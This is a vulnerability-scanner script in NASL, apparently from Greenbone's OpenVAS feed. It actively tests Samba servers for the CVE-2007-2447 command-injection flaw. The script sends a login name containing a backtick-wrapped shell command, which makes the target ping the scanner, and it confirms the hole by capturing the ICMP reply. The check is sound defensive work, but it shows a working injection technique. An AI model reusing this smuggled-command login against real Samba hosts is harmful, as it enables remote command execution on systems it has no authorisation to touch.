Samba MS-RPC Remote Shell Command Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:samba:samba";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108011");
  script_version("2023-07-20T05:05:17+0000");
  script_cve_id("CVE-2007-2447");
  script_tag(name:"cvss_base", value:"6.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:S/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:17 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2016-10-31 11:47:00 +0200 (Mon, 31 Oct 2016)");
  script_name("Samba MS-RPC Remote Shell Command Execution Vulnerability - Active Check");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_category(ACT_ATTACK);
  script_family("Gain a shell remotely");
  script_dependencies("smb_nativelanman.nasl");
  script_require_ports(139, 445);
  script_mandatory_keys("samba/smb/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/23972");
  script_xref(name:"URL", value:"https://www.samba.org/samba/security/CVE-2007-2447.html");

  script_tag(name:"summary", value:"Samba is prone to a vulnerability that allows attackers to
  execute arbitrary shell commands because the software fails to sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Send a crafted command to the samba server and check for a
  remote command execution.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary shell
  commands on an affected system with the privileges of the application.");

  script_tag(name:"solution", value:"Updates are available. Please see the referenced vendor advisory.");

  script_tag(name:"affected", value:"This issue affects Samba 3.0.0 through 3.0.25rc3.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("smb_nt.inc");
include("host_details.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

if( ! soc = open_sock_tcp( port ) )
  exit( 0 );

name = kb_smb_name();
if( ! name )
  name = "*SMBSERVER";

if( ! r = smb_session_request( soc:soc, remote:name ) )
  exit( 0 );

vtstrings = get_vt_strings();
check = vtstrings["ping_string"];
pattern = hexstr( check );

# Vulnerable samba versions are executing the command passed via login
# smb_session_setup() takes a good amount of time so using 50 ping requests here
login = '`ping -p ' + pattern + ' -c50 ' + this_host() + '`';

#nb: With NTLMSSP_AUTH the login name will be converted to "toupper()" in smb_nt.inc
#Because of this the ping command will fail so using cleartext login for now
#prot = smb_neg_prot( soc:soc );
#if( ! prot ) exit( 0 );
#smb_session_setup( soc:soc, login:login, password:"", domain:"", prot:prot );
smb_session_setup_cleartext( soc:soc, login:login, password:"", domain:"" );

max = 50; # Amount of ping requests used in the login above

while( res = send_capture( socket:soc, data:"", pcap_filter:string( "icmp and icmp[0] = 8 and dst host ", this_host(), " and src host ", get_host_ip() ) ) ) {

  count++;
  data = get_icmp_element( icmp:res, element:"data" );

  if( check >< data ) {
    close( soc );
    security_message( port:port );
    exit( 0 );
  }
  if( count > max )
    break;
}

close( soc );
exit( 99 );